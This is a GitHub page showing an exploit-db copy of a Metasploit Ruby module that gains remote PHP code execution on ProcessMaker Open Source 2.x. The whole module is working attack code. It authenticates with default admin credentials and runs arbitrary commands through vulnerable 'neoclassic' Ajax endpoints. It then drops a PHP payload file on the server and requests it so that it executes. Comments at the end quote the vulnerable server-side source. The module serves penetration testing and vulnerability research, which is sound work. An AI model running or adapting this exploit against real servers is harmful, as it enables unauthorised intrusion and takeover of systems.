forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path29325.rb
More file actions
executable file
·207 lines (187 loc) · 6.78 KB
/
Copy path29325.rb
File metadata and controls
executable file
·207 lines (187 loc) · 6.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution",
'Description' => %q{
This module exploits a PHP code execution vulnerability in the
'neoclassic' skin for ProcessMaker Open Source which allows any
authenticated user to execute PHP code. The vulnerable skin is
installed by default in version 2.x and cannot be removed via
the web interface.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL' => 'http://bugs.processmaker.com/view.php?id=13436']
],
'Payload' =>
{
'Space' => 8190, # HTTP POST
'DisableNops'=> true,
'BadChars' => "\x00"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
# Tested on:
# * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23
# * Debian Linux - ProcessMaker Open Source version 2.0.45
['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }]
],
'Privileged' => false, # Privileged on Windows but not on *nix targets
'DisclosureDate' => 'Oct 24 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin'])
], self.class)
end
#
# Send command for execution
#
def execute_command(cmd, opts = { :php_function => 'system' } )
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
vuln_url = [
'/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',
'/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',
'/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'
].sample
# shuffle POST parameters
vars_post = Hash[{
'action' => opts[:php_function],
'params' => cmd
}.to_a.shuffle]
# send payload
vprint_status("#{peer} - Attempting to execute: #{cmd}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, vuln_url),
'cookie' => @cookie,
'vars_post' => vars_post
})
res
end
#
# Login
#
def login(user, pass)
# shuffle POST parameters
vars_post = Hash[{
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'),
}.to_a.shuffle]
# send login request
print_status("#{peer} - Authenticating as user '#{user}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"),
'cookie' => @cookie,
'vars_post' => vars_post
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{peer} - Connection failed")
return false
end
if res and res.code == 200 and res.body =~ /Loading styles and images/
print_good("#{peer} - Authenticated as user '#{user}'")
return true
else
print_error("#{peer} - Authenticating as user '#{user}' failed")
return false
end
end
#
# Check credentials are valid and confirm command execution
#
def check
# login
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
unless login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Unknown
end
# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
print_status("#{peer} - Sending check")
begin
res = execute_command("echo #{fingerprint}")
if res and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
#
# Write payload to filesystem
#
def upload
# Random PHP function for command execution
php_function = [
'exec',
'shell_exec',
'passthru',
'system'
].sample
# upload payload
code = "<?php #{payload.encoded} ?>"
print_status("#{peer} - Sending payload '#{@fname}' (#{code.length} bytes)")
begin
res = execute_command("echo \"#{code}\">#{@fname}", { :php_function => php_function } )
if res and res.code == 200
print_good("#{peer} - Payload sent successfully")
register_files_for_cleanup(@fname)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
end
def exploit
# login
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
unless login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
# upload payload
@fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
upload
# execute payload
print_status("#{peer} - Retrieving file '#{@fname}'")
send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})
end
end
#
# Source
#
=begin appFolder/appFolderAjax.php
22:if (($_REQUEST['action']) != 'rename') {
23: $functionName = $_REQUEST ['action'];
24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
26: $functionName ($functionParams);
=end
=begin cases/casesStartPage_Ajax.php
16:$functionName = $_REQUEST['action'];
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
19:$functionName( $functionParams );
=end
=begin cases/cases_SchedulerGetPlugins.php
16:$functionName = $_REQUEST['action'];
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
19:$functionName( $functionParams );
=end